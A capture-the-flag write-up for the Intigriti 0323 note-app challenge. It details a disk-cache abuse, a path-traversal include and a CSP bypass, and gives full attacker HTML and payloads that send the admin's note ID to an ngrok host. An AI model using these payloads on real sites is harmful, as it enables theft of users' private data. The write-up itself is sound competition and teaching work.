Intigriti Challenge
This was one of the winning entry for the CTF

The challenge can be found here: https://challenge-0323.intigriti.io/ We are tasked with hacking the flag from the admin account. “The admin user has a note with the flag.” The authors also provide us with the source code for the CTF.
Source Code review
We are provided with the NodeJS application, with file-structure like so:
├── README.md
├── app
│   ├── docker-compose.yml
│   └── www
│       ├── Dockerfile
│       ├── app.js # server-side
│       ├── bot.js # server-side
│       ├── node_modules # server-side
│       ├── package-lock.json # server-side
│       ├── package.json # server-side
│       ├── static
│       │   ├── challenge # client-side
|       |        ├── app.js
|       |        ├── exp.js
|       |        ├── note.gif
|       |        ├── noteico.png
|       |        ├── notes.js
|       |        ├── purify.js
|       |        ├── style.css
|       |        └── view.js
│       │   ├── index.html # client-side
│       │   └── public # client-side
│       └── views # client-side
│           ├── create.ejs
│           ├── index.ejs
│           └── note.ejs
Server-Side
We start the source-code review by reading the app.js file provided in app/www. One can quickly notice these snippets:
// Clear the runtime DB every 1 hrs
setInterval(() => {
  notes.clear();
  allPosts = Object.create(null);
  console.log("[🧹] DB cleared 😏");
}, 3600000);
/* snip */
// The CSP policy
app.use((req, res, next) => {
  res.setHeader(
    "Content-Security-Policy",
    "default-src 'self'; style-src fonts.gstatic.com fonts.googleapis.com 'self' 'unsafe-inline';font-src fonts.gstatic.com 'self'; script-src 'self'; base-uri 'self'; frame-src 'self'; frame-ancestors 'self';  object-src 'none';"
  );
  next();
});
Having the CSP in the code means we will have to bypass it somehow, and at some point, an XSS attack will come into play.
Spolier-Alert: Nope, almost XSS but no.
The code also creates session tokens for the users, which are needed to fetch the correct notes. The code also creates session tokens for the users, which are needed to fetch the correct notes. We are also using Embedded JavaScript templates (ejs), so it’s good to be on the lookout for <%-value%>
The code assigned each note a uuid() value for noteIDs, which got a little annoying, so I changed the code to set a simple integer value to the noteID.
 1// note ID simple
 2let noteIdCounter = 1
 3
 4// route to create a new note
 5app.post("/create", (req, res) => {
 6  const note = req.body.note;
 7
 8    /* snip */
 9
10    //noteId = uuid();
11	noteId = noteIdCounter++;
The code provides us with these endpoints:
- notesGET
- createGET | POST
- /note/:idGET
- visitGET
- debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/:idGET
- *GET
The first key insights on Server-Side Code are:
- note/:iddoesn’t have input sanitization on- :idand, unlike the- /notesdoesn’t have a check for a session token, let alone a check for whether or that note belongs to the session.
- /debug/52abd8b5-3add-4866-92fc-75d2b1ec1938endpoint shouldn’t be available on the production env, but it is and lacks the same defenses as the- note/:idendpoint.
- The visitend point is where the bot is initialized. The bot uses the Puppeteer package to run a headless Chrome browser.
- The handle-all endpoint *also reflects the user input in the response. The input is not sanitized.
Even though the 3rd point looks a little irrelevant, it’s the first step in exploiting the cache issue, as hinted by the second hint here: https://twitter.com/intigriti/status/1644358672468901889
But most importantly, the note cannot be accessed on both note/:id and debug/<hash>/: id because of the header mode: read requirement.
app.get("/note/:id", (req, res) => {
  // TODO: Congifure CORS and setup an allowList
  let mode = req.headers["mode"];
  if (mode === "read") {
    res.setHeader("content-type", "text/plain"); // no xss
	console.log(getPostByID(req.params.id).note)
	console.log(req.params.id)
    res.send(getPostByID(req.params.id).note);
  } else {
    return res.render("note", { title: getPostByID(req.params.id).title });
  }
});
/* snip */
app.get("/debug/sd/:id", (req, res) => {
  let mode = req.headers["mode"];
  if (mode === "read") {
    res.send(getPostByID(req.params.id).note);
  } else {
    return res.status(404).send("404");
  }
});
There is also no possibility of triggering an XSS on the note/:id and debug endpoint because of this code snippet:
res.setHeader("content-type", "text/plain"); // no xss
What happens when not using the Client-Side script
If you try to access the endpoint using the http://127.0.0.1/note/1?id=1

Client-Side
The first key insights on Client-Side Code are:
- There is a file named exp.jsprobably to hint at how the CSP will be bypassed.
- view.jslacks input sanitization on the- idparam and can help us do injections or file inclusions. Also, uses- fetch:P
Will also help us to exploit the Cache. Hinted in the second hint: https://twitter.com/intigriti/status/1644358672468901889. This actually helped me find this writeup: https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote
What and how to exploit
Agenda
The idea of the CTF is simple: steal the noteID of the flag note that the bot creates. (Since the cookies are protected and are not required to see the note ID)
- Create a note with JS
- Make the bot visit it
- The JS steals the noteID
well, if only it was this simple.
Exploitation
- CSP which prevents the use of external JS or inline script-src, so you are restricted with things, you can use as payload.
Evaulating the CSP using Google CSP Evaluator: https://csp-evaluator.withgoogle.com/

- We can make a note and use it in line script-srcto call it, but it cannot be fetched without the requiredmode: readheaders.
Part1
Let’s try solving the ability to fetch the note.
I was able to do it when the second hint was provided. The thinking was developed once I knew what had to be done, and then I started seeing the clues.
The authors could have simply used the endpoint to node/:id to fetch the note, but there was a requirement for the header mode: read, and hence the client-side code was used, which utilized fetch. This was done to introduce a vuln intentionally:
As a interesting point of disk cache, the cache includes not only the HTTP response rendered to a web page, but also those fetched with fetch. In other words, if you access the URL for a fetched resource, the browser will render the resource on the page. Source: https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote
Armed with this knowledge, let’s try and test this scenario out.
Step1: Let’s make a note with HTML in it.

We know it will render with note/:id path because of fetch in view.js, BUT when opened using the debug path. We need the headers to do so.

The 404 using the debug route

I changed the code to make it easy to debug with integers as
noteIDs
Step2: Abusing the cache to add headers to the debug/sd/:id
Using the 2nd point in the client-side code review, let’s include the note1 using the debug path.
Remember how we visited
debug/sd/1above in previous step. Just after this, visit this path:note/1?id=../debug/sd/1

Time to abuse the cache as mentioned in the writeup referenced above. Open the console and type history.back()

Scripting part1
We need to make the bot visit debug_url first and then local_inclusion url. We then make use of history.go(-2) to abuse the cache.
Code Snippet: Both these files are hosted on the attacker server.
<!-- test.html -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Attacker Page</title>
</head>
<body>
  <script>
    // Define a sleep function that returns a promise that resolves after a specified delay
    const sleep = (msec) => new Promise((resolve) => setTimeout(resolve, msec));
    const exploit = async () => {
      const note_id = "1";
      const baseUrl = 'http://127.0.0.1';
      const attacker_url =  'http://127.0.0.1:1337'
      const debug_path = "sd"
      const debug_url = `${baseUrl}/debug/${debug_path}/${note_id}`;
      const local_inclusion = `${baseUrl}/note/${note_id}?id=../debug/${debug_path}/${note_id}`;
      const goBackUrl = `${attacker_url}/goback.html`;
      try {
        console.log('Opening debug_url:', debug_url);
        const newWindow = window.open(debug_url, '_blank');
        await sleep(2000); // Delay for 2 seconds
        console.log('Navigating to local_inclusion:', local_inclusion);
        newWindow.location.href = local_inclusion;
        await sleep(2000); // Delay for 2 seconds
        console.log('Navigating back to debug_url using go-back.html');
        newWindow.location.href = goBackUrl;
        await sleep(2000); // Delay for 2 seconds
      } catch (error) {
        console.error('Error in exploit:', error);
      }
    };
    exploit();
  </script>
</body>
</html>
<!-- goback.html -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Go Back</title>
</head>
<body>
  <script>
    window.addEventListener('DOMContentLoaded', () => {
      history.go(-2);
    });
  </script>
</body>
</html>
Testing it with the bot.js provided in the source code and using the visit?url=http://127.0.0.1:1337/test.html

The bot visiting the payload.

Response from the server

Attacker Server logs
Part2
We have the note, which we can use to run the payload to extract the noteID. What remains now is the ability to add JS code in the note and bypass CSP.
This is where the * end-point will come in handy. We will use srcipt-src in the note itself, to run run JS.
<script src="http://127.0.0.1/somethingxyz/,alert(String.fromCharCode(72,101,108,108,111))"></script>



We are successfully able to execute an alert for the bot. BUT this is where things get very tricky. Remember the code for * it has this line as well:
return res.send("404 - " + encodeURI(req.path));
Not only should your code bypass CSP, but it should also pass this encodeURI check. I tried a lot trying to come up with a bypass, but it didn’t work.

After brainstorming for a while, I thought of using the HTML tags to somehow read the noteID.
Enter the payload
<iframe id="notesframe" src="http://127.0.0.1/notes"></iframe>
<script src="http://127.0.0.1/somethingxyz/,console.log(document.getElementById('notesframe').contentWindow.document.body.innerHTML);" defer></script>
<script src="http://127.0.0.1/somethingxyz/,console.log(1);a=btoa(encodeURIComponent(document.getElementById('notesframe').contentWindow.document.body.querySelector('a').outerHTML));window.location.href='https://825f-2601-197-380-43a0-99e5-8a79-29c7-8ddf.ngrok-free.app/'+a;" defer></script>
In short, the payload retrieves the text content of an anchor tag from an iframe, encodes it, and sends it to the attacker’s server by redirecting the browser to the attacker’s URL with the encoded data appended. However, the script above won’t work right because the
iframewon’t load in time.

We need to somehow delay the loading of the page for the iframe to load. I achived this by loading the purify.js and stylesheets mutiple times.
<iframe id="notesframe" src="http://127.0.0.1/notes"></iframe>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/somethingxyz/,console.log(document.getElementById('notesframe').contentWindow.document.body.innerHTML);" defer></script>
<script src="http://127.0.0.1/somethingxyz/,console.log(1);a=btoa(encodeURIComponent(document.getElementById('notesframe').contentWindow.document.body.querySelector('a').outerHTML));window.location.href='https://825f-2601-197-380-43a0-99e5-8a79-29c7-8ddf.ngrok-free.app/'+a;" defer></script>

what the script will be extracting
Time to test it on the actualy CTF page.

Response on the ngrok server

base64 decoded

Flag finally found
Final attacker HTML used:
<!-- test.html -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Attacker Page</title>
</head>
<body>
  <script>
    // Define a sleep function that returns a promise that resolves after a specified delay
    const sleep = (msec) => new Promise((resolve) => setTimeout(resolve, msec));
    const exploit = async () => {
      const note_id = "65b94781-ee96-465d-9ca4-757d234c23d0";
      const baseUrl = 'http://127.0.0.1';
	  const debug_path = "52abd8b5-3add-4866-92fc-75d2b1ec1938"
	  const attacker_url = "https://825f-2601-197-380-43a0-99e5-8a79-29c7-8ddf.ngrok-free.app"
	//  const attacker_url =  'http://127.0.0.1:1337'
	//  const debug_path = "sd"
      const debug_url = `${baseUrl}/debug/${debug_path}/${note_id}`;
      const local_inclusion = `${baseUrl}/note/${note_id}?id=../debug/${debug_path}/${note_id}`;
      const goBackUrl = `${attacker_url}/goback.html`;
      try {
        console.log('Opening debug_url:', debug_url);
        const newWindow = window.open(debug_url, '_blank');
        await sleep(2000); // Delay for 2 seconds
        console.log('Navigating to local_inclusion:', local_inclusion);
        newWindow.location.href = local_inclusion;
        await sleep(2000); // Delay for 2 seconds
        console.log('Navigating back to debug_url using go-back.html');
        newWindow.location.href = goBackUrl;
        await sleep(2000); // Delay for 2 seconds
      } catch (error) {
        console.error('Error in exploit:', error);
      }
    };
    exploit();
  </script>
</body>
</html>